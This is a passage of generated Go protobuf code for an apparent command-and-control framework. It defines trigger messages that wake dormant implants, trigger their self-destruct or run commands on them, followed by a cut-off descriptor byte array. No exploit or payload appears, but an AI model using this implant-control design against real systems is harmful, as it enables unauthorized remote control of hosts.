protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *TriggerDispatchTaskReq) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*TriggerDispatchTaskReq) ProtoMessage() {} + +func (x *TriggerDispatchTaskReq) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[152] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use TriggerDispatchTaskReq.ProtoReflect.Descriptor instead. +func (*TriggerDispatchTaskReq) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{152} +} + +func (x *TriggerDispatchTaskReq) GetJobID() uint32 { + if x != nil { + return x.JobID + } + return 0 +} + +func (x *TriggerDispatchTaskReq) GetTaskName() string { + if x != nil { + return x.TaskName + } + return "" +} + +// TriggerFireReq instructs the server to construct a signed trigger +// packet (HMAC-SHA256, wire-format JSON) and send it as a single UDP +// datagram to the specified target. This is the sliver-native +// replacement for the standalone trigger-client binary — used to wake +// dormant implants or fire implant-side self-destruct without leaving +// the console. +// +// The SharedSecret must match the implant's baked-in triggerwake +// secret (set at generation time via --trigger-wake-secret-env / +// --trigger-wake-secret). +type TriggerFireReq struct { + state protoimpl.MessageState `protogen:"open.v1"` + TargetHost string `protobuf:"bytes,1,opt,name=TargetHost,proto3" json:"TargetHost,omitempty"` // IP or hostname of the implant + TargetPort uint32 `protobuf:"varint,2,opt,name=TargetPort,proto3" json:"TargetPort,omitempty"` // UDP port the implant's triggerwake is bound to + Intent string `protobuf:"bytes,3,opt,name=Intent,proto3" json:"Intent,omitempty"` // intent label: "wake", "self-destruct", "exec", etc. + SharedSecret []byte `protobuf:"bytes,4,opt,name=SharedSecret,proto3" json:"SharedSecret,omitempty"` // HMAC-SHA256 shared secret + ClientID string `protobuf:"bytes,5,opt,name=ClientID,proto3" json:"ClientID,omitempty"` // sender identity for audit trail (default: "sliver-operator") + Payload string `protobuf:"bytes,6,opt,name=Payload,proto3" json:"Payload,omitempty"` // command/data for bidirectional intents (e.g. exec) + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *TriggerFireReq) Reset() { + *x = TriggerFireReq{} + mi := &file_clientpb_client_proto_msgTypes[153] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *TriggerFireReq) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*TriggerFireReq) ProtoMessage() {} + +func (x *TriggerFireReq) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[153] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use TriggerFireReq.ProtoReflect.Descriptor instead. +func (*TriggerFireReq) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{153} +} + +func (x *TriggerFireReq) GetTargetHost() string { + if x != nil { + return x.TargetHost + } + return "" +} + +func (x *TriggerFireReq) GetTargetPort() uint32 { + if x != nil { + return x.TargetPort + } + return 0 +} + +func (x *TriggerFireReq) GetIntent() string { + if x != nil { + return x.Intent + } + return "" +} + +func (x *TriggerFireReq) GetSharedSecret() []byte { + if x != nil { + return x.SharedSecret + } + return nil +} + +func (x *TriggerFireReq) GetClientID() string { + if x != nil { + return x.ClientID + } + return "" +} + +func (x *TriggerFireReq) GetPayload() string { + if x != nil { + return x.Payload + } + return "" +} + +// TriggerFireResp carries the result of a trigger fire. For fire-and- +// forget intents (wake, self-destruct), only Sent is populated. For +// bidirectional intents (exec), Output and ExitCode carry the implant's +// response. +type TriggerFireResp struct { + state protoimpl.MessageState `protogen:"open.v1"` + Sent bool `protobuf:"varint,1,opt,name=Sent,proto3" json:"Sent,omitempty"` // true if the packet was sent + Output string `protobuf:"bytes,2,opt,name=Output,proto3" json:"Output,omitempty"` // implant command output (exec only) + ExitCode int32 `protobuf:"varint,3,opt,name=ExitCode,proto3" json:"ExitCode,omitempty"` // implant command exit code (exec only) + Error string `protobuf:"bytes,4,opt,name=Error,proto3" json:"Error,omitempty"` // implant-side or transport error, if any + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *TriggerFireResp) Reset() { + *x = TriggerFireResp{} + mi := &file_clientpb_client_proto_msgTypes[154] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *TriggerFireResp) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*TriggerFireResp) ProtoMessage() {} + +func (x *TriggerFireResp) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[154] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use TriggerFireResp.ProtoReflect.Descriptor instead. +func (*TriggerFireResp) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{154} +} + +func (x *TriggerFireResp) GetSent() bool { + if x != nil { + return x.Sent + } + return false +} + +func (x *TriggerFireResp) GetOutput() string { + if x != nil { + return x.Output + } + return "" +} + +func (x *TriggerFireResp) GetExitCode() int32 { + if x != nil { + return x.ExitCode + } + return 0 +} + +func (x *TriggerFireResp) GetError() string { + if x != nil { + return x.Error + } + return "" +} + +var File_clientpb_client_proto protoreflect.FileDescriptor + +var file_clientpb_client_proto_rawDesc = string([]byte{ + 0x0a, 0x15, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x08, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x1a, 0x15, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0xbd, 0x01, 0x0a, 0x07, 0x56, 0x65, 0x72, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x14, 0x0a, 0x05, 0x4d, 0x61, 0x6a, 0x6f, 0x72, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x05, 0x52, 0x05, 0x4d, 0x61, 0x6a, 0x6f, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4d, 0x69, + 0x6e, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x4d, 0x69, 0x6e, 0x6f, 0x72, + 0x12, 0x14, 0x0a, 0x05, 0x50, 0x61, 0x74, 0x63, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, + 0x05, 0x50, 0x61, 0x74, 0x63, 0x68, 0x12, 0x16, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x14, + 0x0a, 0x05, 0x44, 0x69, 0x72, 0x74, 0x79, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x44, + 0x69, 0x72, 0x74, 0x79, 0x12, 0x1e, 0x0a, 0x0a, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x64, + 0x41, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, + 0x65, 0x64, 0x41, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x08, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x22, 0x3b, 0x0a, 0x0d, 0x43, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x72, + 0x65, 0x61, 0x6d, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, + 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0xb1, 0x05, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, + 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, + 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, + 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, + 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, + 0x65, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, + 0x55, 0x49, 0x44, 0x12, 0x10, 0x0a, 0x03, 0x47, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x03, 0x47, 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x08, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x09, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72, 0x61, + 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x54, 0x72, + 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, + 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, + 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, + 0x03, 0x50, 0x49, 0x44, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x50, 0x49, 0x44, 0x12, + 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4c, + 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x12, 0x1a, 0x0a, + 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, + 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x11, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, + 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x18, 0x12, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x49, + 0x73, 0x44, 0x65, 0x61, 0x64, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, + 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x13, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, + 0x76, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x18, + 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x12, + 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x18, 0x16, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x78, 0x74, 0x65, 0x6e, + 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x17, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0a, 0x45, 0x78, 0x74, + 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, + 0x44, 0x18, 0x19, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x12, + 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, + 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, + 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x49, + 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x18, 0x1c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, + 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x22, 0xa0, 0x06, 0x0a, 0x06, 0x42, 0x65, + 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, + 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, + 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, + 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, + 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x03, 0x55, 0x49, 0x44, 0x12, 0x10, 0x0a, 0x03, 0x47, 0x49, 0x44, 0x18, 0x07, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x03, 0x47, 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x08, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, + 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x1c, 0x0a, 0x09, + 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x65, + 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, + 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x50, + 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x0d, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x20, + 0x0a, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18, 0x0e, 0x20, + 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, + 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x18, 0x0f, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x12, 0x18, 0x0a, 0x07, + 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, + 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, + 0x6e, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, + 0x12, 0x16, 0x0a, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x18, 0x12, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x78, + 0x79, 0x55, 0x52, 0x4c, 0x18, 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x78, + 0x79, 0x55, 0x52, 0x4c, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, + 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x15, 0x20, 0x01, 0x28, 0x03, 0x52, + 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, + 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x16, + 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x16, + 0x0a, 0x06, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x17, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, + 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, + 0x18, 0x18, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x12, 0x20, + 0x0a, 0x0b, 0x4e, 0x65, 0x78, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18, 0x19, 0x20, + 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4e, 0x65, 0x78, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, + 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x1a, + 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, + 0x12, 0x30, 0x0a, 0x13, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x43, 0x6f, + 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x13, 0x54, + 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, + 0x65, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x1c, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x69, + 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x1d, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x12, 0x1c, + 0x0a, 0x09, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x18, 0x1e, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x09, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x22, 0x35, 0x0a, 0x07, + 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x2a, 0x0a, 0x07, 0x42, 0x65, 0x61, 0x63, 0x6f, + 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x52, 0x07, 0x42, 0x65, 0x61, 0x63, + 0x6f, 0x6e, 0x73, 0x22, 0xfe, 0x01, 0x0a, 0x0a, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, + 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, + 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1c, + 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x14, 0x0a, 0x05, + 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x53, 0x74, 0x61, + 0x74, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x06, 0x53, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, + 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x52, + 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x18, 0x0a, 0x07, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, + 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, + 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x55, 0x0a, 0x0b, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, + 0x73, 0x6b, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, + 0x2a, 0x0a, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, + 0x54, 0x61, 0x73, 0x6b, 0x52, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x22, 0x4b, 0x0a, 0x0f, 0x42, + 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x12, 0x1a, + 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6e, + 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x49, + 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x22, 0x63, 0x0a, 0x09, 0x49, 0x6d, 0x70, 0x6c, + 